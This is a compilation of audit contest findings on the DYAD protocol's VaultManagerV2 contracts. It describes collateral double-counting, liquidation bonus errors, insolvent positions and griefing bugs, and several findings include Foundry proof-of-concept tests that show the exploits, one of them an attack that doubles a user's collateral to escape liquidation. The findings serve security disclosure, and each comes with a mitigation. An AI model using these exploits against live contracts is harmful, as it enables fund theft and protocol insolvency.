DYAD - SBSecurity's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L91 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64-L65

Vulnerability details

Impact

There are two types of collateral (normal and kerosene) in VaultManagerV2. You as a user can add vaults of both types with add() and addKerosene() and deposit into them with deposit(). Then when it calculates your collateral factor, it will go through the 2 mappings used in add() and addKerosene() and sum up all your collateral in USD.

VaultManagerV2.sol#L67-L91

mapping (uint => EnumerableSet.AddressSet) internal vaults; 
mapping (uint => EnumerableSet.AddressSet) internal vaultsKerosene; 

function add(
    uint    id,
    address vault
) 
  external
    isDNftOwner(id)
{
  if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
  if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
  if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
  emit Added(id, vault);
}

function addKerosene(
    uint    id,
    address vault
) 
  external
    isDNftOwner(id)
{
  if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
  if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
  if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
  emit Added(id, vault);
}

As you can see both functions checks if the vaults are licensed. In addKerosene(), it checks if the vault isLicensed in keroseneManager.

This is done in the deployment script:

Deploy.V2.s.sol#L64-L65

kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));

It adds these two vaults because it then calculates the cost of the kerosene vault based on them. And because of this in addKerosene() can be added non-kerosene vaults like WETH and wstETH. But the real impact is that when the collateral ratio is calculated, it will go through vaults and vaultsKerosene mapping and the user can, by depositing only in the WETH vault and adding it to vaultsKerosene as well, get twice as collateral when calculating the collateral ratio.

Proof of Concept

User will be able to add a normal vault (eg WETH) with add(), then deposit(), and then add the same vault to vaultsKerosene via addKerosene().

When he becomes liquidatable, his collateral ratio will be calculated by summing the collateral from both mappings, but since both loops simply get the deposit value based on the DNft id, it will add the WETH amount he deposits twice.

VaultManagerV2.sol#L241-L286

function getTotalUsdValue(
  uint id
) 
  public 
  view
  returns (uint) {
    return getNonKeroseneValue(id) + getKeroseneValue(id);
}

function getNonKeroseneValue(
  uint id
) 
  public 
  view
  returns (uint) {
    uint totalUsdValue;
    uint numberOfVaults = vaults[id].length(); 
    for (uint i = 0; i < numberOfVaults; i++) {
      Vault vault = Vault(vaults[id].at(i));
      uint usdValue;
      if (vaultLicenser.isLicensed(address(vault))) {
        usdValue = vault.getUsdValue(id);        
      }
      totalUsdValue += usdValue;
    }
    return totalUsdValue;
}

function getKeroseneValue(
  uint id
) 
  public 
  view
  returns (uint) {
    uint totalUsdValue;
    uint numberOfVaults = vaultsKerosene[id].length(); 
    for (uint i = 0; i < numberOfVaults; i++) {
      Vault vault = Vault(vaultsKerosene[id].at(i));
      uint usdValue;
      if (keroseneManager.isLicensed(address(vault))) {
        usdValue = vault.getUsdValue(id);        
      }
      totalUsdValue += usdValue;
    }
    return totalUsdValue;
}

Coded POC

The test will cover that the user can deposit only WETH and when the price drops, and he should become liquidatable, getTotalUsdValue() will return twice more collateral, because he just add the WETH vault in the vaultsKerosene mapping.

In order to execute the test:

1. Add virtual to the setUp of BaseTest file.
2. Create new file and place the entire content there, then execute:

forge test --match-test test_can_exit_even_if_cr_low -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";

contract VaultManagerV2Test is BaseTest {
    VaultManagerV2 vaultManagerV2;

    function setUp() public override {
        super.setUp();

        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));

        KerosineManager kerosineManager = new KerosineManager();
        kerosineManager.add(address(wethVault));
        vaultManagerV2.setKeroseneManager(kerosineManager);

        vm.prank(vaultLicenser.owner());
        vaultLicenser.add(address(wethVault));

        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));
    }

    function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
        public
        returns (uint256 nftId)
    {
        vm.deal(user, 2 ether);
        vm.startPrank(user);
        nftId = dNft.mintNft{value: 2 ether}(user);

        vaultManagerV2.add(nftId, address(wethVault));

        weth.mint(user, amountAsset);
        weth.approve(address(vaultManagerV2), amountAsset);

        vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
        vaultManagerV2.mintDyad(nftId, amountDyad, user);
        vm.stopPrank();
    }

    function test_user_can_double_his_collateral() public {
        address alice = makeAddr("Alice");
        address liquidator = makeAddr("Liquidator");

        wethOracle.setPrice(1e8); // Using 1$ for weth for better understanding
        uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 150e18, 100e18);
        uint256 liquidatorNft = mintDNFTAndDepositToWethVault(liquidator, 400e18, 200e18);

        console.log("User deposit only WETH and his collateral in USD is:", vaultManagerV2.getTotalUsdValue(aliceNft));

        wethOracle.setPrice(0.9e8);
        assertEq(vaultManagerV2.collatRatio(aliceNft), 1.35e18);
        console.log("Alice collateral in USD after the price drops is:   ", vaultManagerV2.getTotalUsdValue(aliceNft));

        // Alice starts the attack here, because she is at liquidable state and want to skip it
        vm.prank(alice);
        vaultManagerV2.addKerosene(aliceNft, address(wethVault));

        console.log("Alice collateral in USD after she adds the vault:   ", vaultManagerV2.getTotalUsdValue(aliceNft));

        vm.prank(liquidator);
        vm.expectRevert(IVaultManager.CrTooHigh.selector);
        vaultManagerV2.liquidate(aliceNft, liquidatorNft);

        assertEq(vaultManagerV2.collatRatio(aliceNft), 2.7e18); // Her collateral ratio is doubled
    }
}

Logs:
  User deposit only WETH and his collateral in USD is: 150000000000000000000
  Alice collateral in USD after the price drops is:    135000000000000000000
  Alice collateral in USD after she adds the vault:    270000000000000000000

Tools Used

Manual Review

Recommended Mitigation Steps

Should ensure that only Kerosine vaults can be added to vaultsKerosine, this can be done with a boolean variable in the KerosineVault contract and then checked it in addKerosine().

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L95 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L67-L78

Vulnerability details

Impact

With that you can increase your exogenous collateral by depositing to kerosine vaults and add it into both mappings, doubling the collateral you have. Allowing you to miss liquidation or mint more Dyad tokens.

Proof of Concept

In the deploy script the kerosine vaults are registered in the vaultLicenser, with which the check in add() will pass successfully.

Deploy.V2.s.sol#L95

vaultLicenser.add(address(unboundedKerosineVault));

VaultManagerV2.sol#L67-L78

function add(
    uint    id,
    address vault
) 
  external
    isDNftOwner(id)
{
  if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
  if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
  if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
  emit Added(id, vault);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Restrict to be able to add only non-kerosine vaults through add().

Assessed type

Invalid Validation

Judge has assessed an item in Issue #1011 as 2 risk. The relevant finding follows:

[L-04] VaultManagerV2::withdraw can be blocked at no cost Issue Description:

Since everyone with minted dNft can call VaultManagerV2::deposit, front run protection which was added to the V2 of the VaultManager can be utilized by a griefer to block any call to withdraw function with 0 tokens transfer (if asset supports it, otherwise 1 wei is enough). When someone calls deposit function, idToBlockOfLastDeposit[id] is set to the current block.number . After that idToBlockOfLastDeposit[id] is used in the withdraw function. Now anyone with a minted dNft can call deposit with 0 wei on behalf of a user, frontrunning his withdraw execution. The result will be a DoS for the withdrawer of the duration (or even more if the liquidator is financially incentivised to do it) of a block.

VaultManagerV2.sol#L127

function deposit( uint id, address vault, uint amount ) external isValidDNft(id) { idToBlockOfLastDeposit[id] = block.number; //ISSUE set to current Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); } VaultManagerV2.sol#L143

function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();//ISSUE revert on current uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10_vault.oracle().decimals() / 10_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); } Recommendation:

Check if the deposit occured at the same block.number as the withdraw is from the withdrawer itself, otherwise revert.

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

Impact

User can backed his Dyad debt with non-kerosine and kerosine collateral, but the non-kerosine (exogenous) need to be at least 100%, and the rest 50% can be kerosine if he want.

He will be able to deposit Kerosine collateral via VaultManagerV2.deposit(), but when try to withdraw it the function will revert always, because the KerosineVaults do not have oracle().

VaultManagerV2.sol#L134-L153

function withdraw(
  uint    id,
  address vault,
  uint    amount,
  address to
) 
  public
    isDNftOwner(id)
{
  if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
  uint dyadMinted = dyad.mintedDyad(address(this), id);
  Vault _vault = Vault(vault);
  uint value = amount * _vault.assetPrice() 
                * 1e18 
                / 10**_vault.oracle().decimals()  // @audit KerosineVault price is not determined with oracle
                / 10**_vault.asset().decimals();
  if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
  _vault.withdraw(id, to, amount);
  if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow(); 
}

Casting to Vault is misleading because it contains oracle storage variable, but the contract which UnboundedKerosineVault inherits is KerosineVault Vault.Kerosine.sol

abstract contract KerosineVault is IVault, Owned(msg.sender)

There is no oracle variable defined in either of the parent contracts, because the Kerosine price is determined based on other vaults.

Proof of Concept

Here is a Coded POC, which demonstrates that withdraw() will always revert when try to withdraw Kerosine collateral.

In order to execute the test:

1. Add virtual to the setUp of BaseTest file.
2. Create new file and place the entire content there, then execute:

forge test --match-test test_unbounded_kerosine_do_not_have_oracle -vvv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import {stdError} from "forge-std/StdError.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Kerosine} from "../src/staking/Kerosine.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol";

import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";

contract VaultManagerV2Test is BaseTest {
    VaultManagerV2 vaultManagerV2;
    UnboundedKerosineVault unboundedKerosineVault;
    ERC20Mock kerosine;

    function setUp() public override {
        super.setUp();

        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));

        KerosineManager kerosineManager = new KerosineManager();

        kerosineManager.add(address(wethVault));

        kerosine = new ERC20Mock("Kerosine", "KER");
        kerosine.mint(address(this), 1e27); //SIMULATE

        unboundedKerosineVault = new UnboundedKerosineVault(vaultManagerV2, kerosine, dyad, kerosineManager);

        KerosineDenominator kerosineDenominator = new KerosineDenominator(Kerosine(payable(kerosine)));

        unboundedKerosineVault.setDenominator(kerosineDenominator);

        vm.startPrank(vaultLicenser.owner());
        vaultLicenser.add(address(wethVault));
        vaultLicenser.add(address(unboundedKerosineVault));
        vm.stopPrank();
        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));
    }

    function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
        public
        returns (uint256 nftId)
    {
        vm.deal(user, 2 ether);
        vm.startPrank(user);
        nftId = dNft.mintNft{value: 2 ether}(user);

        vaultManagerV2.add(nftId, address(wethVault));

        weth.mint(user, amountAsset);
        weth.approve(address(vaultManagerV2), amountAsset);

        vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
        vaultManagerV2.mintDyad(nftId, amountDyad, user);
        vm.stopPrank();
    }

    function mintDNFTAndDepositToUnboundedKerosineVault(address user, uint256 amountAsset, uint256 amountDyad)
        public
        returns (uint256 nftId)
    {
        vm.deal(user, 2 ether);
        vm.startPrank(user);
        nftId = dNft.mintNft{value: 2 ether}(user);

        vaultManagerV2.add(nftId, address(unboundedKerosineVault));
        vm.stopPrank();
        vm.prank(address(this));
        kerosine.transfer(user, amountAsset);

        vm.startPrank(user);
        kerosine.approve(address(vaultManagerV2), amountAsset);

        vaultManagerV2.deposit(nftId, address(unboundedKerosineVault), amountAsset);
        vm.roll(block.number + 5);
        //    vaultManagerV2.mintDyad(nftId, amountDyad, user);
        vm.stopPrank();
    }

    function test_unbounded_kerosine_do_not_have_oracle() public {
        address user = makeAddr("User");
        address wethDepositor = makeAddr("Weth Depositor");

        mintDNFTAndDepositToWethVault(wethDepositor, 1e18, 1e13);
        uint256 unboundedKerosineVaultNft = mintDNFTAndDepositToUnboundedKerosineVault(user, 1e20, 1e3);
        vm.prank(user);
        vaultManagerV2.withdraw(unboundedKerosineVaultNft, address(unboundedKerosineVault), 1e1, address(this));
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Create separate logic to be able to withdraw from Kerosine vaults.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

When a user is liquidated, 120% (because of the 20% bonus) of their collateral must be sent to the liquidator. Collateral is stored in two mapping vaults and kerosineVaults, when he is liquidated it calculates what % of his collateral to send to the liquidator, but now it will only be sent from non-kerosene vaults, resulting in less collateral being sent to liquidator.

Proof of Concept

VaultManagerV2.sol#L205-L228

function liquidate(
  uint id,
  uint to
) 
  external 
    isValidDNft(id)
    isValidDNft(to)
  {
    uint cr = collatRatio(id);
    uint userCollateral = getTotalUsdValue(id);
    if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
    dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

    uint cappedCr               = cr < 1e18 ? 1e18 : cr;
    uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
    uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

    uint numberOfVaults = vaults[id].length();
    for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault      = Vault(vaults[id].at(i));
        uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
        vault.move(id, to, collateral);
    }
    emit Liquidate(id, msg.sender, to);
}

As we can see, the collateral is only sent from vaults, which will send lower collateral than intended to the liquidator in cases like this:

• User has 135$ collateral and 100 DYAD (which puts them in liquidation state)

• $100 from these $135 need to be exogenous because of the checks in mintDyad and how is stated in the docs

  

• The rest $35 are kerosine

It will then calculate the percentage of collateral that needs to be sent.

Note: It will be wrong here because the liquidation bonus is miscalculated as we pointed out in our other report, but it will still be over $100. The actual value should be 88% ($120) but now it's 79% ($107) which doesn't change the problem

• cappedCr will be 1.35e18
• liquidationEquityShare = (1.35e18 - 1e18) * 0.2e18 / 1e18 = 0.35e18 * 0.2e18 / 1e18 = 0.07e18
• liquidationAssetShare = (0.07e18 + 1e18) * 1e18 / 1.35e18  ≈ 0.79e18 (107/135)

That 79% is supposed to be on $135, but since it only transfers from vaults, it will transfer 79% of $100, which is $79, which makes the liquidator lose money instead of having an incentive to liquidate someone.

Tools Used

Manual Review

Recommended Mitigation Steps

When someone is liquidated, the percentage of his collateral should also be sent from kerosene as well, because cr is based on both.

Assessed type

Loop

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

When a liquidator liquidates a user, he will pay his debt and must receive the debt + 20% bonus in form of collateral (from the user). But now the 20% bonus is based on the user’s (collateral - debt), which removes the entire incentive for liquidation.

Proof of Concept

From Docs:

liquidate() will first check if the user with the supplied id is for liquidation, then take the user's debt to cover from mintedDyad and burn it from the liquidator's balance. From there, the calculation of the liquidation bonus begins.

Let's look at this example (same as in the test below):

• UserA will have $135 collateral and $100 debt
• Liquidator assumes that he will receive the $100 debt + 20% of $100 ($20) = $120 as collateral

But it will actually calculate 20% of (UserA collateral - UserA debt), which in this case would be 20% of $35 = $7

• cappedCr will be 1.35e18
• liquidationEquityShare = (1.35e18 - 1e18) * 0.2e18 / 1e18 = 0.35e18 * 0.2e18 / 1e18 = 0.07e18
• liquidationAssetShare = (0.07e18 + 1e18) * 1e18 / 1.35e18  ≈ 0.79e18 (107/135)

This 0.79e18 or more precisely 107/135 is how much of user’s collateral the liquidator will receive and that is $135 * (107/135) = $107.

As we can see for $100 repaid he will only get $7 collateral bonus collateral, which confirms our state that the 20% bonus is based on (UserA collateral - UserA debt).

function liquidate(
  uint id,
  uint to
) 
  external 
    isValidDNft(id)
    isValidDNft(to)
  {
    uint cr = collatRatio(id);
    if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
    dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

    uint cappedCr               = cr < 1e18 ? 1e18 : cr;
    uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
    uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

    uint numberOfVaults = vaults[id].length();
    for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault      = Vault(vaults[id].at(i));
        uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
        vault.move(id, to, collateral);
    }
    emit Liquidate(id, msg.sender, to);
}

Coded POC

The test will cover the same as case we explained above.

In order to execute the test:

1. Add virtual to the setUp of BaseTest file.
2. Create new file and place the entire content there, then execute:

forge test --match-test test_can_exit_even_if_cr_low -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20Mock} from "./ERC20Mock.sol";

contract VaultManagerV2Test is BaseTest {
    VaultManagerV2 vaultManagerV2;

    function setUp() public override {
        super.setUp();

        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));

        vm.prank(vaultLicenser.owner());
        vaultLicenser.add(address(wethVault));

        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));
    }

    function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
        public
        returns (uint256 nftId)
    {
        vm.deal(user, 2 ether);
        vm.startPrank(user);
        nftId = dNft.mintNft{value: 2 ether}(user);

        vaultManagerV2.add(nftId, address(wethVault));

        weth.mint(user, amountAsset);
        weth.approve(address(vaultManagerV2), amountAsset);

        vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
        vaultManagerV2.mintDyad(nftId, amountDyad, user);
        vm.stopPrank();
    }

    function test_liquidation_bonus_is_wrong() public {
        address liquidator = makeAddr("Liquidator");
        address alice = makeAddr("Alice");

        wethOracle.setPrice(1e8); // Using 1$ for weth for better understanding
        uint256 liquidatorNft = mintDNFTAndDepositToWethVault(liquidator, 2e18, 1e18);
        uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18, 1e18);

        wethOracle.setPrice(0.9e8);
        assertEq(vaultManagerV2.collatRatio(aliceNft), 1.35e18);

        console.log("Liquidator collateral before liquidate Alice:", vaultManagerV2.getNonKeroseneValue(liquidatorNft));
        vm.prank(liquidator);
        vaultManagerV2.liquidate(aliceNft, liquidatorNft);
        console.log("Liquidator collateral after liquidate Alice: ", vaultManagerV2.getNonKeroseneValue(liquidatorNft));
        // The liquidator receives only 106.9999999 collateral in return.
    }
}

Logs:
  Liquidator collateral before liquidate Alice: 1800000000000000000
  Liquidator collateral after liquidate Alice:  2869999999999999999

Tools Used

Manual Review

Recommended Mitigation Steps

The bonus should be based on the burned user debt and then must send the liquidator the percentage of liquidated user collateral equal to the burned debt + 20% bonus.

This is an example implementation, which gives the desired 20% bonus from the right amount, but need to be tested for further issues.

function liquidate(
  uint id,
  uint to
) 
  external 
    isValidDNft(id)
    isValidDNft(to)
  {
    uint cr = collatRatio(id);
+   uint userCollateral = getTotalUsdValue(id);
    if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
    dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

-   uint cappedCr               = cr < 1e18 ? 1e18 : cr;

+   uint liquidationEquityShare = 0;
+   uint liquidationAssetShare = 1e18;
+   if (cr >= 1.2e18) {
+     liquidationEquityShare = (dyad.mintedDyad(address(this), id)).mulWadDown(LIQUIDATION_REWARD);
+     liquidationAssetShare  = (dyad.mintedDyad(address(this), id) + liquidationEquityShare).divWadDown(userCollateral);
+   }

-   uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
-   uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

    uint numberOfVaults = vaults[id].length();
    for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault      = Vault(vaults[id].at(i));
        uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
        vault.move(id, to, collateral);
    }
    emit Liquidate(id, msg.sender, to);
}

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

When positions fall under the 100% collateral ratio, nobody will be incentivized to liquidate them, which will make all of them insolvent forever and lead to bad debt in the system. Notice that since the value of the collateral has depreciated, no one will be eager to burn his DYAD tokens and receive less collateral for them.

Currently, VaultManagerV2 issues a 20% liquidation reward to every liquidator, unless the collateral rate of the user being liquidated is ≤ 1e18. In this scenario, liquidators will take the entire collateral, whose value is below the value of the needed DYAD tokens to cover the debt. We can see that nobody will be liquidated.

Since there will be limited types of vaults (WETH, wstETH), the likelihood of many positions becoming insolvent at once is big. It can be caused by various factors, for example, WETH or WSTETH's prices falling drastically or denominator being replaced with the wrong value decreasing the price of the Kerosine.

Proof of Concept

We can see that when the CR is equal to or below 1e18, 100% of the collateral is taken.

Now let’s see an example:

Price of WETH = $1000

1. Alice mints 100 DYAD with 0.15 WETH, CR is 150%
2. The price of WETH decreases by 40% to $600 in a short period of time, CR becomes 90%.
3. The liquidator should pay $100 worth of DYAD and receive only $90 from the collateral - WETH.

VaultManagerV2.sol#L205-L228

  function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }

Tools Used

Manual Review

Recommended Mitigation Steps

In the first place situations like these should be avoided at all costs, but because of the volatile assets used in the Vaults, consider giving additional rewards to users who are liquidating underwater positions. Note that this can open another vulnerability that in event of bank run the last person to redeem will bear the loss.

Assessed type

Context

Judge has assessed an item in Issue #1011 as 2 risk. The relevant finding follows:

[L-06] Deployment script deploys bounded kerosine without calling setUnboundedKerosineVault Issue Description:

Deployment of the BoundedKerosineVault happens without calling setUnboundedKerosineVault, that will eventually make the price of the asset 0, when admin license it and users begin to use it. The consequences will be that it won’t support depositor’s collateral rate and will limit their minting capabilities.

DeployV2.sol#L78-L82

BoundedKerosineVault boundedKerosineVault = new BoundedKerosineVault( vaultManager, Kerosine(MAINNET_KEROSENE), kerosineManager ); Recommendation:

Despite that it is not going to be used for now, call the setUnboundedKerosineVault in the script as well.

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L156-L169

Vulnerability details

Impact

There is no incentive for liquidators to liquidate small positions (even under $100), especially on Mainnet, this will result in bad debt accrued for the Dyad system because no one will be willing to remove the position.

Proof of Concept

If we take a look at gas prices on Mainnet when it was relatively expensive:

We can see the current transaction prices varying and in peak hours they can be up to 5 times more, without additional costs of liquidation logic execution included.

Consider the scenario when there are many small positions with collateral under $7,5 and minted DYAD worth $5.

Even when gas is cheap there will be no incentive for liquidators to close these positions because they will receive roughly $1,80 as a reward. If we take the current lowest gas price: $1.63, the liquidator leaves with a reward of $0.17.

Note that the reward will be even less because not 100% of the user collateral will be taken (unless the position falls under 100% collateral ratio, but this is another issue that we’ve reported) additionally decreasing the reward.

---

We can see in the code that there is no validation for the minimum borrowable amount.

For the mint flow, there is no minimum mint amount.

VaultManagerV2.sol#L119-L131

function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
      isValidDNft(id)
  {
    idToBlockOfLastDeposit[id] = block.number;
    Vault _vault = Vault(vault);
    _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
    _vault.deposit(id, amount);
  }

VaultManagerV2.sol#L156-L169

  function mintDyad(
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }

We can see that the only check are for the overcollateralization of the position and there is no such checks for the minimum amount that can be minted.

Tools Used

Manual Review

Recommended Mitigation Steps

Consider adding minimum mintDyad amount to prevent such scenarios, otherwise to keep the solvency of the whole protocol admins of Dyad will have to liquidate such a positions, losing money in gas fees without receiving anything back.

Assessed type

Context

Judge has assessed an item in Issue #1011 as 2 risk. The relevant finding follows:

[L-05] VaultManagerV2::remove and removeKerosene can be blocked for 1 wei Issue Description:

Anyone can block removal of vault in the VaultManagerV2 contract by simply depositing at least 1 wei, this will make the id2asset of this nftId non-zero and grief the removal.

The issue is possible because everyone can deposit to any dNft, even without having one.

VaultManager.sol#L94-L116

function remove( uint id, address vault ) external isDNftOwner(id) { if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();//ISSUE if (!vaults[id].remove(vault)) revert VaultNotAdded(); emit Removed(id, vault); }

function removeKerosene( uint id, address vault ) external isDNftOwner(id) { if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();//ISSUE if (!vaultsKerosene[id].remove(vault)) revert VaultNotAdded(); emit Removed(id, vault); } Recommendation:

Instead of reverting when id2asset is a non-zero, just execute the withdraw function once again with the amount, this will send the donated tokens to the owner of that nft.

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L172-L181 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L184-L202

Vulnerability details

Impact

Due to a wrong modifier being used in burnDyad, anyone can use his tokens and decrease the mintedDyad mapping of a random user. Everyone can grief other users, by burning their tokens at any given moment.

Even more, it will create a discrepancy between the real DYAD balance of the user and the amount in the mintedDyad mapping. The result of this action will be that the user will not be able to withdraw his entire DYAD token balance, because of the difference, the remaining funds will be locked in the DYAD contract.

VaultManagerV2.sol#L172-L181

function burnDyad(
  uint id,
  uint amount
) 
  external 
    isValidDNft(id) //ISSUE wrong modifier used
{
  dyad.burn(id, msg.sender, amount);
  emit BurnDyad(id, amount, msg.sender);
}

In the scenario where the user wants to redeem all of his DYAD tokens by passing DYAD.balanceOf(him) or mintedDyad(him), anyone can burn 1 wei on his behalf, causing the next call to revert with an arithmetic underflow in DYAD.burn().

VaultManagerV2.sol#L184-L202

function redeemDyad(
  uint    id,
  address vault,
  uint    amount,
  address to
)
  external 
    isDNftOwner(id)
  returns (uint) { 
    dyad.burn(id, msg.sender, amount); // @audit will fail here
